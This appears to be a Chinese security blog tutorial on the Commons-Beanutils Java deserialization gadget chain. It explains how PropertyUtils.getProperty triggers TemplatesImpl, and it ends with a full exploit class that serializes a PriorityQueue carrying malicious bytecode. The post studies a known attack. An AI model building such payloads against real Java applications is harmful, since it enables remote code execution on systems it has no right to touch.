前言&环境配置

CB是指Apache Commons Beanutils这个库:

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。

一个标准类里面的属性均为私有,并且针对每一个属性来说均有读取和设置这个属性的两个方法,又称为getter和setter。这样的类就叫做JavaBean

JDK8

pom.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependency>  
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

前置知识

Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法:

A.java:

1
2
3
4
5
6
7
8
9
10
11
class A {  //JavaBean
private String name = "xiaofuc";

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

Test01.java

1
2
3
4
5
6
7
8
import org.apache.commons.beanutils.PropertyUtils;

public class Test01 {
public static void main(String[] args) throws Exception {
System.out.println(PropertyUtils.getProperty(new A(), "name"));
}
}

image-20250324114821389

这里我们已经能看出点猫腻了:我们可以通过调用PropertyUtils.getProperty()的方式,激活对应类的getter方法。这即是CB链的核心原理,其他部分就是拼好链。

链子分析

这个链子没什么好讲的,妥妥拼好链,我们弄懂PropertyUtils.getProperty()这一核心方法的原理即可。

所以写得比较简略=-=

前半的内容见我语雀,这里不再赘述:

CC3

其实后半与CC4链子也大同小异,看看:

CC4

总体链子触发结构为:

1
CC4 + CB + CC3

具体逻辑:

1
2
3
4
5
6
7
8
PriorityQueue#readObject()->
Priorty#heapify()->siftDown()->siftDownUsingComparator()->
comparator#compare()->
(CC4部分,见我语雀)

BeanComparator#compare()->getProperty()->

CC3(见我语雀)

image-20250324165037979

这里是CB的核心部分,能够通过PropertyUtils.getProperty(),进而触发TemplatesImpl#getOutputproperties(),触发CC3链子读取恶意字节码。

EXP

为了使EXP更清晰可观,这里为反射修改字段的过程单独写一个静态函数:

1
2
3
4
5
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xiaofuc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

BeanComparator beancomparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(beancomparator); //构造函数传入comparator
queue.add(1);
queue.add(1);

// 将 property 的值赋为 outputProperties
setFieldValue(beancomparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
serialize(queue);
unserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}